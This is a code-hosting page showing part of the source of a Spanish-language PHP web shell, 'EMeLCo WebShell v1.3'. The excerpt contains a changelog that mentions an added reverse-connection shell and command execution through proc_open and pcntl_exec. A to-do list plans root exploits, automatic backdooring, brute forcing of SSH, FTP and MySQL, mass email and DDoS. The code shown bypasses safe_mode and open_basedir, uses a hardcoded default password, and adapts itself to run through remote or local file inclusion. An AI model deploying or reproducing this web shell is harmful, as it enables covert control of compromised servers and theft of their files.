PageRenderTime 55ms CodeModel.GetById 25ms RepoModel.GetById 0ms app.codeStats 0ms

/emelco-1.3.php

http://emelco.googlecode.com/
PHP | 916 lines | 819 code | 12 blank | 85 comment | 9 complexity | cbf37232a545852714f3daffa1a9e83b MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. :::::::::: ::: ::: :::::::::: ::: :::::::: ::::::::
  4. :+: :+:+: :+:+: :+: :+: :+: :+: :+: :+:
  5. +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+
  6. +#++:++# +#+ +:+ +#+ +#++:++# +#+ +#+ +#+ +:+
  7. +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  8. #+# #+# #+# #+# #+# #+# #+# #+# #+#
  9. ########## ### ### ########## ########## ######## ########
  10. ::: ::: :::::::::: ::::::::: :::::::: ::: ::: :::::::::: ::: :::
  11. :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
  12. +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
  13. +#+ +:+ +#+ +#++:++# +#++:++#+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
  14. +#+ +#+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  15. #+#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
  16. ### ### ########## ######### ######## ### ### ########## ########## ##########
  17. EMelCo PHP WebShell v1.3
  18. Escrita por >> s E t H <<
  19. seth (at) el-hacker (dot) org
  20. http://code.google.com/p/emelco/
  21. http://emelco.66ghz.com/lists/
  22. http://elrincondeseth.wordpress.com/
  23. http://foro.undersecurity.net/
  24. http://0verl0ad.blogspot.com/
  25. Copyright (c) 2009 2010, EMeLCo
  26. All rights reserved.
  27. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  28. * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  29. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
  30. * Neither the name of the authors nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
  31. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  32. Changelog:
  33. 1.3
  34. [!] Si phpinfo() está desactivado, da un error en w=phpinfo
  35. [+] Muestra los modulos cargados en w=info
  36. [!] Solucionado un error muy chico en w=editar, que mostraba todo seguido sin un salto de linea
  37. [!] Si en w=editar se envia el formulario con enter, se vuelve a mostrar el mismo texto pero no se guarda nada. Antes era como apretar guardar
  38. [+] Al subir archivos, ahora intenta usar move_uploaded_file(), leerarchivo() y escribirarchivo()
  39. [+] leerarchivo() ahora llama a cat "$archivo"
  40. [+] Muestra un div lateral con información importante
  41. [+] Agregada shell de conexion inversa
  42. [+] Agregados los links del menu en una linea abajo
  43. [+] Muestra el tamańo de los archivos en el navegador
  44. [+] La función shell() usa proc_open() y pcntl_exec()
  45. [!] Optimizada la función guardar()
  46. [+] El navegador de archivos permite copiar y mover archivos/directorios
  47. ToDo:
  48. [!] Eliminar los mensajes de: "No se puede leer /var/log/messages porque supera los 50000 bytes", o ponerlos como link
  49. [+] Agregar rootexploits
  50. [+] Agregar exploits de php
  51. [+] Agregar backdoorizacion automática
  52. [+] Agregar descripciones en los textarea e input--> onfocus="this.value=''; this.onfocus=null;"
  53. [!] Mejorar las funciones para leer y escribir archivos
  54. [+] Agregar brute force de ssh
  55. [+] Agregar brute force de ftp
  56. [+] Agregar brute force de mysql
  57. [+] Agregar navegador de sql
  58. [+] Enviar muchos emails de un saque
  59. [+] DDoS ?
  60. [+] Poner todas las imágenes en un solo archivo y mostrarlas con css para ahorrar peticiones
  61. [+] Usar ajax
  62. [+] Agregar comandos de la WSO, r57 y las variaciones de c99
  63. [+] Poner el css como las imagenes, en una peticion aparte y poner una version oscura
  64. [+] Agregar un reverse dns como el de US dentro de la shell
  65. */
  66. //Usuario (Dejalo vacio para que no pida clave):
  67. $nombre_usuario = 'seth';
  68. //hash sha1 de la clave
  69. $clave_usuario = 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'; //"EMeLCo"
  70. //Cambia esto para usar la shell con LFI
  71. //$rfiurl = "?page=../../../error_log&";
  72. $rfiurl = false;
  73. error_reporting(0); //final
  74. //error_reporting(E_ALL); //desarrollo
  75. /**/
  76. // http://securityreason.com/achievement_securityalert/42
  77. if(strtolower(ini_get('safe_mode'))=='on'){
  78. ini_restore('safe_mode');
  79. }
  80. if($_COOKIE['openBasedirBypass']=='true'){
  81. ini_restore('open_basedir');
  82. }
  83. set_time_limit(0);
  84. ini_set('memory_limit', -1);
  85. $nombre = 'EMeLCo WebShell v1.3';
  86. // de php.net para contrarrestar magic_quotes_gpc
  87. if (get_magic_quotes_gpc()) {
  88. function stripslashes_deep($value)
  89. {
  90. $value = is_array($value) ?
  91. array_map('stripslashes_deep', $value) :
  92. stripslashes($value);
  93. return $value;
  94. }
  95. $_POST = array_map('stripslashes_deep', $_POST);
  96. $_GET = array_map('stripslashes_deep', $_GET);
  97. $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
  98. $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
  99. }
  100. //Parcheamos la url para que ande con RFI
  101. if (!$rfiurl){
  102. $rfiurl = '?';
  103. $include = '&';
  104. foreach (explode('&',getenv('QUERY_STRING')) as $v) {
  105. $v = explode('=',$v);
  106. $name = urldecode($v[0]);
  107. $value = urldecode($v[1]);
  108. foreach (array('http://','https://','ssl://','ftp://','\\') as $needle) {
  109. if (strpos($value,$needle) === 0) {
  110. $rfiurl .= urlencode($name)."=".urlencode($value)."&";}
  111. }
  112. }
  113. unset($v);
  114. unset($name);
  115. unset($value);
  116. }
  117. $rfiurl = htmlentities($rfiurl);
  118. if (isset($nombre_usuario) and ($nombre_usuario != '')){ //si tiene clave
  119. if ( ($_COOKIE['u'] != $nombre_usuario) or ($_COOKIE['c'] != $clave_usuario) ){ //si no está logueado muestra un formulario que pide la clave
  120. echo'
  121. <html><head><script>
  122. function createCookie(name,value,days) {
  123. if (days) {
  124. var date = new Date();
  125. date.setTime(date.getTime()+(days*24*60*60*1000));
  126. var expires = "; expires="+date.toGMTString();
  127. }
  128. else var expires = "";
  129. document.cookie = name+"="+value+expires+"; path=/";
  130. }
  131. function saveIt() {
  132. var x = document.forms["f"].u.value;
  133. createCookie("u",x,7);
  134. var x = document.forms["f"].c.value;
  135. createCookie("c",sha1(x),7);
  136. document.reload();
  137. }
  138. '.base64_decode('ZnVuY3Rpb24gdXRmOF9lbmNvZGUgKCBhcmdTdHJpbmcgKSB7DQogICAgLy8gaHR0cDovL2tldmluLnZhbnpvbm5ldmVsZC5uZXQNCiAgICAvLyArICAgb3JpZ2luYWwgYnk6IFdlYnRvb2xraXQuaW5mbyAoaHR0cDovL3d3dy53ZWJ0b29sa2l0LmluZm8vKQ0KICAgIC8vICsgICBpbXByb3ZlZCBieTogS2V2aW4gdmFuIFpvbm5ldmVsZCAoaHR0cDovL2tldmluLnZhbnpvbm5ldmVsZC5uZXQpDQogICAgLy8g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ZWxzZSB7DQogICAgICAgICAgICBlbmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSA+PiAxMikgfCAyMjQpICsgU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMxID4+IDYpICYgNjMpIHwgMTI4KSArIFN0cmluZy5mcm9tQ2hhckNvZGUoKGMxICYgNjMpIHwgMTI4KTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZW5jICE9PSBudWxsKSB7DQogICAgICAgICAgICBpZiAoZW5kID4gc3RhcnQpIHsNCiAgICAgICAgICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIGVuZCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB1dGZ0ZXh0ICs9IGVuYzsNCiAgICAgICAgICAgIHN0YXJ0ID0gZW5kID0gbisxOw0KICAgICAgICB9DQogICAgfQ0KIA0KICAgIGlmIChlbmQgPiBzdGFydCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIHN0cmluZy5sZW5ndGgpOw0KICAgIH0NCiANCiAgICByZXR1cm4gdXRmdGV4dDsNCn0=').base64_decode('ZnVuY3Rpb24gc2hhMSAoc3RyKSB7DQoNCiAgICAvLyBodHRwOi8va2V2aW4udmFuem9ubmV2ZWxkLm5ldA0KDQogICAgLy8gKyAgIG9yaWdpbmFsIGJ5OiBXZWJ0b29sa2l0LmluZm8gKGh0dHA6Ly93d3cud2VidG9vbGtpdC5pbmZvLykNCg0KICAgIC8vICsgbmFtZXNwYWNlZCBieTogTWljaGFlbCBXaGl0ZSAoaHR0cDovL2dldHNwcmluay5jb20pDQoNCiAgICAvLyArICAgICAgaW5wdXQgYnk6IEJyZXR0IFphbWlyIChodHRwOi8vYnJldHQtemFtaXIubWUpDQoNCiAgICAvLyArICAgaW1wcm92ZWQgYnk6IEtldmluIHZhbiBab25uZXZlbGQgKGh0dHA6Ly9rZXZpbi52YW56b25uZXZlbGQubmV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IEgxOw0KDQogICAgICAgIEMgPSBIMjsNCg0KICAgICAgICBEID0gSDM7DQoNCiAgICAgICAgRSA9IEg0Ow0KDQogDQoNCiAgICAgICAgZm9yIChpPSAwOyBpPD0xOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArICgoQiZDKSB8ICh+QiZEKSkgKyBFICsgV1tpXSArIDB4NUE4Mjc5OTkpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgZm9yIChpPTIwOyBpPD0zOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArIChCIF4gQyBeIEQpICsgRSArIFdbaV0gKyAweDZFRDlFQkExKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgICAgICBFID0gRDsNCg0KICAgICAgICAgICAgRCA9IEM7DQoNCiAgICAgICAgICAgIEMgPSByb3RhdGVfbGVmdChCLDMwKTsNCg0KICAgICAgICAgICAgQiA9IEE7DQoNCiAgICAgICAgICAgIEEgPSB0ZW1wOw0KDQogICAgICAgIH0NCg0KIA0KDQogICAgICAgIGZvciAoaT00MDsgaTw9NTk7IGkrKykgew0KDQogICAgICAgICAgICB0ZW1wID0gKHJvdGF0ZV9sZWZ0KEEsNSkgKyAoKEImQykgfCAoQiZEKSB8IChDJkQpKSArIEUgKyBXW2ldICsgMHg4RjFCQkNEQykgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICAgICAgRSA9IEQ7DQoNCiAgICAgICAgICAgIEQgPSBDOw0KDQogICAgICAgICAgICBDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoNCiAgICAgICAgICAgIEIgPSBBOw0KDQogICAgICAgICAgICBBID0gdGVtcDsNCg0KICAgICAgICB9DQoNCiANCg0KICAgICAgICBmb3IgKGk9NjA7IGk8PTc5OyBpKyspIHsNCg0KICAgICAgICAgICAgdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKEIgXiBDIF4gRCkgKyBFICsgV1tpXSArIDB4Q0E2MkMxRDYpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgSDAgPSAoSDAgKyBBKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEgxID0gKEgxICsgQikgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICBIMiA9IChIMiArIEMpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgSDMgPSAoSDMgKyBEKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEg0ID0gKEg0ICsgRSkgJiAweDBmZmZmZmZmZjsNCg0KICAgIH0NCg0KIA0KDQogICAgdGVtcCA9IGN2dF9oZXgoSDApICsgY3Z0X2hleChIMSkgKyBjdnRfaGV4KEgyKSArIGN2dF9oZXgoSDMpICsgY3Z0X2hleChINCk7DQoNCiAgICByZXR1cm4gdGVtcC50b0xvd2VyQ2FzZSgpOw0KDQp9').'
  139. </script></head><body>';
  140. if($clave_usuario == 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'){
  141. echo '<div style="font-weight: bold; color: #CD2626;">&iexcl;ATENCI&Oacute;N, no se cambi&oacute; la clave por defecto!</div><br>';
  142. }
  143. echo '<form name="f" action="'.$rfiurl.'" method="POST">
  144. Usuario: <input name="u" type="text"><br>Clave: <input name="c" type="password"><br><input type="submit" value="Entrar" onclick="saveIt()">
  145. </form></body></html>
  146. ';
  147. die();
  148. }
  149. }
  150. // Con esto mostramos las imagenes. Va arriba porque no se puede mandar nada antes
  151. if ($_GET['w']=='img'){
  152. Header('Content-type: image/gif');
  153. if($_GET['imagen']=='carpeta'){
  154. die(base64_decode('R0lGODlhEAAQAMQfAOvGUf7ztuvPMf/78/fkl/Pbg+u8Rvjqteu2Pf3zxPz36Pz0z+vTmPzurPvuw/npofbjquvNefHVduuyN+uuMu3Oafbgjfnqvf/3zv/3xevPi+vRjP/20/bmsP///////yH5BAEAAB8ALAAAAAAQABAAAAV24CeOZGmepqeqqOgxjBZFa+19r4ftWQUAgqDgltthMshMIJAZ4jYDHsBARSAmFOJvq+g6HIdEFgcYmBWNxoNAsDjGHgBnmV5bCoUDHLBIq9sFEhIdcAYJdYASFRUQhQkLCwkOFwcdEBAXhVabE52ecDahKy0oIQA7'));
  155. }elseif($_GET['imagen']=="ejecutable"){
  156. die(base64_decode('R0lGODlhEAAQAMQfAESUKF/CPoXZVn3VUihXGGXGQU6qL/b79HHNSdTvyy9nHD6HJnfRTYDWVI7eXIrcWonbWXrTT0mhLGnJRG3LRyVPFnTPSzZ0Ib3mr460gLLiocXpuCNMFez46P///////yH5BAEAAB8ALAAAAAAQABAAAAWJ4Pd5ZGl6ougZbCtJALCgo5EdXa53h3ahq4PD8YAIGoMII6EAGjpEoyDJsGwIzk5R4GkoLYgrUNKRkqoIyqYy7giOpfRkDVx0kBESZVIoaDh1HVQeCBN8AX9AFx1faX0BiIAjCgdoewWQARiSHgoZCRuhGxqkGBmSIwQVqxytrqgqJycptLW2HyEAOw=='));
  157. }elseif($_GET['imagen']=="enlace"){
  158. die(base64_decode('R0lGODlhEAAQANUkAHBwcMXFxaioqJqamtHR0XNzc6SkpJeXl6CgoNXV1ZiYmHd3d8fHx6Kioo2NjZubm6GhoX9/f4qKipSUlKenp5CQkJOTk6Ojo3t7e6WlpZ2dnX19fZ+fn4SEhHJycn5+foWFhZ6entra2v///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACQALAAAAAAQABAAAAZmQJJwSCwaj0jSaMlMjgSUjAGCGB2fI1GCwAg8rEKmYGRAcAYKRWDCHIXe78vyAH8vRXg8SBjJ45cggYEDSwUAh4dtDSMHFRIdHxgBC01hGllbXR5gRSMWDiAbCwWcRm1LSamqq6pBADs='));
  159. }elseif($_GET['imagen']=="flechad"){
  160. die(base64_decode('R0lGODlhEAAQALMLAJLNXpDEaZPNX4/NU5bUWJnXWpDNVIvFWXyuWmOPRf///////wAAAAAAAAAAAAAAACH5BAEAAAsALAAAAAAQABAAAAQvcMlJq704Z6U0VUm3cWC4JWgCmBc4GESxihUIAIGAsHWaHLwaCUU7FUeepHJpiQAAOw=='));
  161. }elseif($_GET['imagen']=="archivo"){
  162. die(base64_decode('R0lGODlhEAAQAMQfAMfj/uzx9rvc/eXt9YivyHaXtFdwkZXK/KvU+0lVa/L2+rba/KTR+4m77FJhe67T5UNLXNXn8MDf/bHX/JrA1qjL3t7n7ykxQz5FVeLp8LDR48vM0Z7O+9Xb5P///////yH5BAEAAB8ALAAAAAAQABAAAAWPoCeO5PidXvRoFUURRCEXHvpEQ5DrQ98YNY9mACgWJUhF4yeqKIwApECgqDpElOdRulhMFFdPdisRdCcIsIjwlJon6HRireB6EQgGYzD3FAJccXocAxAif1N3eQwcHBmGfgFmd4MHBxYYhwpveIwclgGZHgYdCjwZqBkWARsXhwawDg4JCRAQGBgXYSW8JCEAOw=='));
  163. }elseif($_GET['imagen']=="descargar"){
  164. die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtJrM++vx9+Xt9YivyKTR+8fj/ldwkUlVa73e/dXb5PH1+mGNRPDx8bPY/Im77H6xW1Jhe7TR4ENLXNXn8PX4+vv7+5rA1qjL3uDo7ykxQz5FVWOPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWWoCeO5PidXjVNGYYVRSAHHjpVxJDrRA8hNc+EcCgWFUgG5CfKWIydaEfBqEpEmGexA4h0HmDG1ZOFdr/hcYFxkAIAUgMjIVorLtw3oHExEOgeAQNJHRERDQ4GfhQigkgPDg2IBgICGoyBg2CQiZWWHI0WCpuKlJUOoB4ICww8BBqwGg4TG40ItxISCQkUFBwcG2MlwyQhADs='));
  165. }elseif($_GET['imagen']=="editar"){
  166. die(base64_decode('R0lGODlhEAAQAMQAAGB3lYivyMDf/XiZt+Ts9ajT/Mbh/UlVa/P2+bLY/FRlfu3x9ZzN++Xy/rTR4ENLXN7v/tTk8Jm/1enx96jL3uDo7ykxQz5FVb2JAP+8Bv/RV6HQ/FSr9qfR+jhllf///yH5BAAAAAAALAAAAAAQABAAAAWV4CeOZClGjkNJUhAMsOdJohMRUz4RvNdxntrEQCQKGj6gQkRBFAXHpAex/EicBijy54FQRddslAspfD8BhBZDLpgPovQRo8l0C50NAf4ZLBp0GRhleXoPIn4RdYN4GxsMFYd9CwkKlgoAAwybFReICAkJeAUDAKYAC54fABEIOzwEFbILDhaImJcHBw8PFxcWVSbCIiEAOw=='));
  167. }elseif($_GET['imagen']=="eliminar"){
  168. die(base64_decode('R0lGODlhEAAQAMQfAPMyMpfL/HSUseYTE/5WVrzd/e3x9eXs9VdwkarU+0pXbbba/ISqxaLQ+/74+MLg/Ym77PD1+v+IiNrf51Jhe0RNX/729rHX/CkxQz9GVsvM0f7IyNRBRuDo8P///////yH5BAEAAB8ALAAAAAAQABAAAAWSoOdYnlie5ac63OBt3MTMQu2p5TAQXhQdwAMEcSsRBoDSY1mIQIYigIsg8TCbPorHMqieHoXCYnGJaL9LsJicMJcYkfT6ckm0Fe84eFy3Nw54HgwGamwJDYgHFSUCBmGGiA0BHYsejXN+kpMZjBFifYgBogacHggTEQZBHawdBhoYjAizFBQKChUVGRkYZyi/wCEAOw=='));
  169. }elseif($_GET['imagen']=="comandos"){
  170. die(base64_decode('R0lGODlhEAAQAMQfAHSUstdxbU1Zbvz9/4CwzVZtjeTs9Njq9+rx9o7B8d7LzbjTsISyhUiCRvb5/K7S5NXd36LQ+7TZ/PP2+sPh/ajL3ikxQz9HV+Hp8Jq/1czkt5PGeDhzKs9XUv///////yH5BAEAAB8ALAAAAAAQABAAAAWSoCeO5Pid3vE8VZYRBCADHvocBuKIgzcZiULN89D1Ap1AwDNAEISeyqDjQXau1M4AiriKlh7vFSK6DhrkMnWa1VIajLB3EWGb3wS5Z9GIOMRaDRsaIg8cDWwiGGYNcgoMbGkAUwMSenUdDhciAA4DlQciB3VNmx4FEBMIBqwYrhgIChacBbUFArgXuhcWAiW/vyEAOw=='));
  171. }elseif($_GET['imagen']=="archivonuevo"){
  172. die(base64_decode('R0lGODlhEAAQANUoAOLp8ElVa0NLXIivyJXK/D5FVYm77N7n7ykxQ5rA1svM0YS8O4C4OJXJSInAP5fLS362N4/ERJLHR5DFRdXb5JbKStXn8HqzM4vAQJ7O+1Jhe1dwkezx9nKsLeXt9XaXtKTR+7HX/PL2+sDf/bvc/avU+7ba/P///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACgALAAAAAAQABAAAAaXwJNwSByijifLqdM5JQaDj/RzQgofjaFn6zFsqsuKJOJojs4ig1fYmWAWEDOJJKpriIzLcEQymUIid05LZnx+ISWBQgNEc3+IiQGLImd9fyUlICAekicfHJWXmSAZHgJCn46QmhkZAKeeHJaIrAQEBwWoIn2rrbYcuScbFCIcWwDIAAccCgioG9AaGgEBAgIFBQiCRdxEQQA7'));
  173. }elseif($_GET['imagen']=="carpetanueva"){
  174. die(base64_decode('R0lGODlhEAAQANUnAP/3xffkl+vPMfbgjf3zxP7ztvnpofz36PPbg/vuw+3Oaf/78/HVdvbjqvjqtfz0z/bmsPnqvYvAQI/ERJfLS//204nAP5XJSHqzM5bKSoS8O5LHR362N4C4OJDFReu8Ruu2PeuyN+vGUXKsLeuuMvzurP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACcALAAAAAAQABAAAAaFwNPJRDQJj8ijaTQyJpFFyqX4FC4zm4mlWewSRx6JhtNUiESCtKDbwRQB8EIBsB4umwDRZw8ChUhGXiIHhAkJDgSAQyILjQclJQYBAQMJiiYiFXKQkgMICA6XIg+QkZQIDAwQlx8EnKcMCgoNrAQPDwQJEQ4QDQ0RrH3CIcTFl17IVFXLQQA7'));
  175. }elseif($_GET['imagen']=="php"){
  176. die(base64_decode('R0lGODlhEAAQAMQfAOTq8+3x9pSty/L2+26NyLXa/JTI+lZtjYSiuFJrsUlVa8jj/oW05uft9XqVr9TZ6d3h76zU+93n8FJgebLD00NLXGqIqSkxQz5FVb/e/XuZ0MvM0Z/P+0BXo////////yH5BAEAAB8ALAAAAAAQABAAAAWloCeO5PidnoMggrA6sGN5qCA1AZ43DWAcNI8gsCgWM8gBgwH0UAbGBTJTGFibgYAm0ekmCIJCdSKSdDuBcyehiQzIns6gARkEBHMIe6AQdQAdEA1ogxAdBAB9cQEAD4CMEA9sABUiAoBqD2sEHBKVHg0ECVxeBAwGBhIYIhQeVAURERyzqAGrHhYPdjwAvQASARsXIg4HxhMTCgoVFRgYF3Al0iQhADs='));
  177. }elseif($_GET['imagen']=="derecha"){
  178. die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtMfj/pfL/OTr9IivyMvM0Vdwkb7e/UpXbfP2+azU+9Xo9Ovx9u32/mGNRIm77OPx/rXZ/H6xW1Jhe6/S5ERNX5rA1qjL3tvj6ykxQz9GVqDP+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWYoCeO5PidHlNV2HUVRSAHHloxRKM3RE9Ah5qn0hAYjYikAwIUYRRHAaKjdCgoogv0OO1IvtfstkPuALyLsKcAnQLegEknnRCxk4/J5D15CAh1HgENSWVmDxEcBBYig0kMEREdiBwDi42EXwsLHYkDAxkbjQoImgsclZ8Noh4HGQo8Pj0ZDQYajQe5FBQJCRYWGxsaWCXFJSEAOw=='));
  179. }elseif($_GET['imagen']=="izquierda"){
  180. die(base64_decode('R0lGODlhEAAQAMQfAHaXtJLNW5fL/OTs9YivyMfj/tXb5Fdwkb3e/anT+0lVa/P2+dTn9Ovx9u32/mGNRIm77LXZ/H6xW1Jhe+Px/rTR4ENLXJrA1qjL3uDo7ykxQz5FVZ/P+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWaoCeO5PidHlNV2HURBCADHloxQ6M3Qz9Ah5qn0igYjYikAwIUYRbHQieJcDgWE9EFauxMEZEwVsvtBLxeRmLsIUAfkoD8TFkrRG4EXC6RdOoDdx4ADUkPAQ9oFBwDFiKESRGJFBQFHBwZjoOFYQkdlhwCAhkbjwtgEQmql6INpR4HBgs8Phm2DRUajwe8ExMKChbCGxpZJcclIQA7'));
  181. }elseif($_GET['imagen']=="copiar"){
  182. die(base64_decode('R0lGODlhEAAQAMQfAHKQruzx9sfj/uXt9vL2+tXb5MHU4arT+7zd/YmwylVri5XK/IO76EhUaa/S5bPZ/Ha36VRie5/E2Ft6nt/o7ykxQ0FIVz1EVajL332hvNfn8HyjwI7B76HQ+////////yH5BAEAAB8ALAAAAAAQABAAAAWToCeO42een2c4jpRkAOChpudowxDk3FTWjoFAsGq9YrMUhiBg4XQ8X0rC5ASHAgSBw1CIEkzGEqslELwesIBBHSIQjwchItoEEAz1+3E4EBoiAHcQenwHHQOAHgAECBB2e4eIihMFBAaCcIcLCxQWgQoKEYyaHZwBFyQilQQ5FBQBBhVJNQChEQ0NFhcVdCiqwB4hADs='));
  183. }else{
  184. die();
  185. }
  186. // Esto es para descargar archivos. Va arriba porque no se puede mandar nada antes
  187. }elseif (( $_GET['w'] == 'descargar' ) and (( $archivo = leerarchivo($_REQUEST['ruta'] ))!==FALSE)){
  188. header('Content-type: application/force-download');
  189. header('Content-Disposition: attachment; filename="'.urlencode(basename($_REQUEST['ruta']))."\"\n");
  190. die($archivo);
  191. }
  192. // Mandamos el principio del html y el css
  193. echo'
  194. <html>
  195. <head>
  196. <title>EMeLCo WebShell</title>
  197. <style>
  198. body{
  199. background-color: #ECF1EF;
  200. font-family: monospace;
  201. }
  202. table{
  203. font-size: 12px;
  204. color: #8B8378;
  205. font-family: monospace;
  206. margin-left: auto;
  207. margin-right: auto;
  208. }
  209. td{
  210. padding-right:10px;
  211. padding-left:10px;
  212. border: 1px dashed #BDB5AF;
  213. }
  214. .contenedor{
  215. border: 2px solid #333333;
  216. padding: 1% 2% 2% 1%;
  217. margin: 0 auto 0 auto;
  218. border-color: #CDC5BF
  219. }
  220. .contenedorgrande{
  221. background-color: #EBECE4;
  222. font-size: 12px;
  223. color: #8B8378;
  224. margin:2% auto 2% 2%;
  225. width:80%;
  226. border: 1px dashed #DDD5CF;
  227. }
  228. .n{
  229. font-weight: bold;
  230. color: #CD2626;
  231. }
  232. .s{
  233. font-weight: bold;
  234. color: #8ABD22;
  235. }
  236. .inline{
  237. display:inline;
  238. }
  239. .f{
  240. font-weight: bold;
  241. display: inline;
  242. color: #8B8878;
  243. }
  244. .ac{
  245. text-align:right;
  246. }
  247. .ai{
  248. border: none;
  249. }
  250. h2{
  251. display:inline;
  252. color: #EE7600;
  253. font-weight: bold;
  254. }
  255. h1{
  256. color: #EE7600;
  257. font-weight: bold;
  258. text-decoration: none;
  259. }
  260. a{
  261. color:#838B8B;
  262. }
  263. a.sinsubrayado{
  264. text-decoration: none;
  265. }
  266. a:hover{
  267. font-size:105%;
  268. font-weight: bold;
  269. }
  270. textarea:focus, textarea:hover, input:hover, input:focus {
  271. border: 2px solid #EE7621;
  272. }
  273. .headoculto{
  274. /*display:none;*/
  275. position: fixed;
  276. top:0;
  277. width: 17%;
  278. padding: 0 0 0 0;
  279. right: 0;
  280. }
  281. /* Estilo para el phpinfo */
  282. #phpinfo {width: 100%;}
  283. #phpinfo body, #phpinfo td, #phpinfo th, #phpinfo h1, #phpinfo h2 {font-family: sans-serif;}
  284. #phpinfo pre {margin: 0px; font-family: monospace;}
  285. #phpinfo a, #phpinfo a:link, #phpinfo a:hover {color: #EE7600; font-weight: bold; text-decoration: none; font-size:100%;}
  286. #phpinfo .e {background-color: #EBECE4; font-weight: bold; color: #8B8378;}
  287. #phpinfo .h {background-color: #ECF1EF; font-weight: bold; color: #8B8378;}
  288. #phpinfo .v {background-color: #ECF1EF; color: #8B8378;}
  289. #phpinfo td {font-size: 100%;}
  290. .center {text-align: center;}
  291. #phpinfo .center table { margin-left: auto; margin-right: auto; text-align: left;}
  292. #phpinfo .center th { text-align: center !important; }
  293. #phpinfo td {vertical-align: baseline;}
  294. #phpinfo th {border: 2px dashed #BDB5AF;}
  295. #phpinfo h1 {font-size: 150%;}
  296. #phpinfo h2 {font-size: 125%;}
  297. #phpinfo .p {text-align: left;}
  298. #phpinfo .vr {background-color: #cccccc; text-align: right; color: #000000;}
  299. #phpinfo img {float: right; border: 0px;}
  300. #phpinfo hr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
  301. </style>
  302. </head>
  303. <body'.(($_COOKIE['lateral']=='OFF')?' onload=ocultar() ':'').'>
